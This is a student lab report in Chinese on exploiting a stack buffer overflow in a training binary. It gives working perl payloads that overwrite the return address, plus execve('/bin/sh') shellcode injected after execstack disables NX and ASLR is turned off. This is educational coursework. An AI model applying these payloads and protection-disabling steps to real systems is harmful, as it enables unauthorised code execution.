20252810 2024-2025-2 《网络攻防实践》实践9报告
20252810 2024-2025-2 《网络攻防实践》实践9报告
1.实践内容
(1)缓冲区溢出原理
当程序使用不安全的函数(如 gets、strcpy、sprintf 等)向栈上分配的固定长度缓冲区写入数据时,若未对输入长度进行边界检查,超出的数据会溢出并覆盖相邻内存区域。通过精心构造溢出数据,可以覆盖函数的返回地址,从而劫持程序控制流,使程序跳转到攻击者指定的地址执行恶意代码。
(2)x86 函数调用栈帧结构
每个函数被调用时,会在栈上分配一个栈帧。
栈向低地址方向增长(高地址在上,低地址在下)。
典型栈帧布局(从高地址到低地址):
调用者传入的参数
函数返回地址(call 指令自动压入)
旧的 ebp 值(调用者的栈帧基址,被压入保存)
局部变量区(包含字符数组等缓冲区)
ret 指令从栈顶弹出返回地址,并跳转到该地址继续执行。
(3)漏洞利用的三种基本方法
修改可执行文件:直接编辑二进制文件,修改 call 指令的目标地址或函数指针,使程序静态地跳转到恶意函数(如 getShell)。
代码复用攻击(跳转至已有函数):不注入新代码,而是通过栈溢出覆盖返回地址,使其指向程序或共享库中已有的恶意函数(如 system、execve 等)。
Shellcode 注入攻击:当目标程序中没有可利用的函数时,攻击者将一段机器码(shellcode,例如启动 /bin/sh 的代码)作为输入注入栈中,然后将返回地址覆盖为 shellcode 的起始地址,使其执行。
(4)Shellcode 与 NOP Sled
Shellcode:一段实现特定功能(如获取 shell、反弹连接)的机器码,通常体积小巧、不含空字符。
NOP Sled:连续多个 0x90(NOP 指令)组成的滑行区。当返回地址指向 NOP 区域时,CPU 会连续执行 NOP 直至遇到 shellcode,从而提高溢出命中率。
(5)关键调试与分析工具
objdump -d:反汇编可执行文件,查看函数地址、指令编码及程序逻辑。
gdb:动态调试程序,可设置断点、查看内存与寄存器内容、精确定位溢出偏移量、寻找 shellcode 在栈上的地址。
perl / python:生成二进制 payload,如 perl -e 'print "A"x32 . "\x7d\x84\x04\x08"'。
xxd:将二进制数据以十六进制形式显示,便于验证 payload 内容。
execstack:修改 ELF 文件的栈可执行标志(-s 开启,-c 关闭),用于控制 NX/DEP 保护。
(6)现代操作系统的安全防御机制
NX(No-eXecute)/ DEP(Data Execution Prevention):将内存页标记为不可执行,阻止在栈或堆上执行代码。攻击者若想注入 shellcode,需先关闭此保护(如 execstack -s)或使用 ROP 技术绕过。
Stack Canary(栈 Cookie):在函数返回地址之前放置一个随机值,函数返回前检查该值是否被篡改。若缓冲区溢出覆盖了 canary,程序会终止执行。
ASLR(Address Space Layout Randomization):随机化进程的关键内存区域(栈、堆、共享库)的基址,使攻击者难以预测 shellcode 或库函数的绝对地址。绕过 ASLR 通常需要信息泄露或暴力猜解。
(7)小端字节序
x86 架构采用小端存储,即多字节数据的低字节存放在低地址处。在覆盖返回地址时,需将目标地址按小端顺序写入 payload(例如地址 0x0804847d 应写为 \x7d\x84\x04\x08)。
2.实践过程
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
输入命令sudo hostnamectl set-hostname zhangdi 修改主机名称为自己的姓名,同时修改文件名称为自己的学号


输入cd ~/Desktop进入目标文件所在的文件夹,输入objdump -d pwn20252810 | more对名为 pwn20252810 的二进制文件进行反汇编,并用分页方式显示结果。

查看以下三个函数

foo 函数中使用不安全的 gets 函数,存在栈溢出漏洞,可被利用覆盖返回地址。
getShell 函数直接调用 system("/bin/sh"),是攻击者的目标跳转地址》
main 函数简单调用 foo,作为漏洞触发入口。
攻击效果:通过控制 foo 的返回地址跳转到 getShell,即可获取系统 Shell。
getShell 地址: 0804847d
main 中调用 foo 的指令: 80484b5: e8 d7 ff ff ff call 8048491
这条 call 的下一条指令地址 = 0x80484ba
输入vim20252810打开文件

按esc退出,输入%!xxd以16进制的形式打开。




输入::w!强制保存

再次输入objdump -d pwn20252804 | more发现已被修改

输入./pwn20252810

出现 /bin/sh,实验成功。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
先重新把你的pwn文件拖进来并命名为pwn20252810
输入cd ~/Desktop gdb pwn20252810安装gdb

输入objdump -d pwn20252804 | more对名为 pwn20252810 的二进制文件进行反汇编,并用分页方式显示结果。

foo 函数中存在 gets 栈溢出漏洞,缓冲区起始地址为 ebp-0x1c,返回地址位于 ebp+4,两者偏移为 32 字节。目标函数 getShell 的地址是 0x0804847d。
输入gdb pwn20252810调试程序。并输入r运行。
输入 1111111122222222333333334444444455555555。


输入info r可以看到eip的值为0x35353535 。

输入r并输入字符串 1111111122222222333333334444444412345678,1234 这四个数会覆盖到堆栈上的返回地址。

输入q退出,并输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252810zd_input。输入xxd 20252810zd_input将要写入的字符串存到20252810txc_input文件中。

输入(cat 20252810zd_input; cat) | ./pwn20252810
将20252810zd_input中的内容注入到pwn20252810中。输入常见指令测试是否拿到shell。

3.注入一个自己制作的shellcode并运行这段shellcode。
进入桌面,安装工具execstack_0.0.20131005-1.1_amd64.deb。
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
解压
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

依次输入execstack -s pwn20252810
execstack -q pwn20252810
设置pwn20252810程序堆栈可执行,并进一步查询是否设置成功。

查看当前ASLR级别,将其设置为0后再次查看是否设置成功。
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

使用输出重定向(perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252810)将perl生成的字符串存储到input_20252810文件中:

在当前终端输入
(cat input_20252810;cat) | ./pwn20252810

另开一个终端输入
ps -ef | grep pwn20252810

开第三个终端对pwn20252810文件进行gdb调试。在ret处设置断点。
代码如下:
gdb pwn20252804
attach 396234
disassemble foo
break *0x080484ae

在终端一按下回车,在终端3输入c继续运行

输入命令
info r esp
x/16x 0xffffcf4c

可知查看栈顶指针所在的位置为0xffffcf4c,4返回地址的位置为0x0102030。shellcode的地址为栈顶指针的地址 + 4 = 0xffffcf50
重新构造input_cmr文件
perl -e 'print "A" x 32;print "\x50\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20252810
(cat input_20252810;cat) | ./pwn202052810
ls
whoami

3.学习中遇到的问题及解决
-
问题1:修改主机名字为自己的名字后,打进去的命令全是纯白色,没有高亮提示
![image]()
-
问题1:解决方案:应该是系统还没反应过来,重新开一个窗口就好了
-
问题2:输入./pwn20252810当前用户没有执行该文件的权限。
![image]()
-
问题2解决方案:
给文件添加执行权限:chmod +x pwn20252810 -
问题3:在 Kali 上安装 gdb 时遇到了 apt 源 404 错误。
![image]()
-
问题3解决方案:借助ai并使用以下步骤
![image]()
重新安装后成功 -
问题4:
![image]()
-
问题4解决方案:增加权限即可
![image]()
4.实践总结
通过本次实验,我初步尝试了手工修改二进制文件、利用栈溢出漏洞获取shell的基本操作。对缓冲区溢出的成因(程序未对输入长度进行边界检查)有了初步认识,也大致了解了直接修改、代码复用和shellcode注入这三种典型的利用方式。同时,对现代操作系统的安全机制(如NX、Canary、ASLR)有了粗浅的概念,但理解还很表面,距离真正掌握二进制安全还有很大差距。这些知识和技能是后续深入学习的基础,我目前只是跟着步骤完成了实验,需要继续努力。






浙公网安备 33010602011771号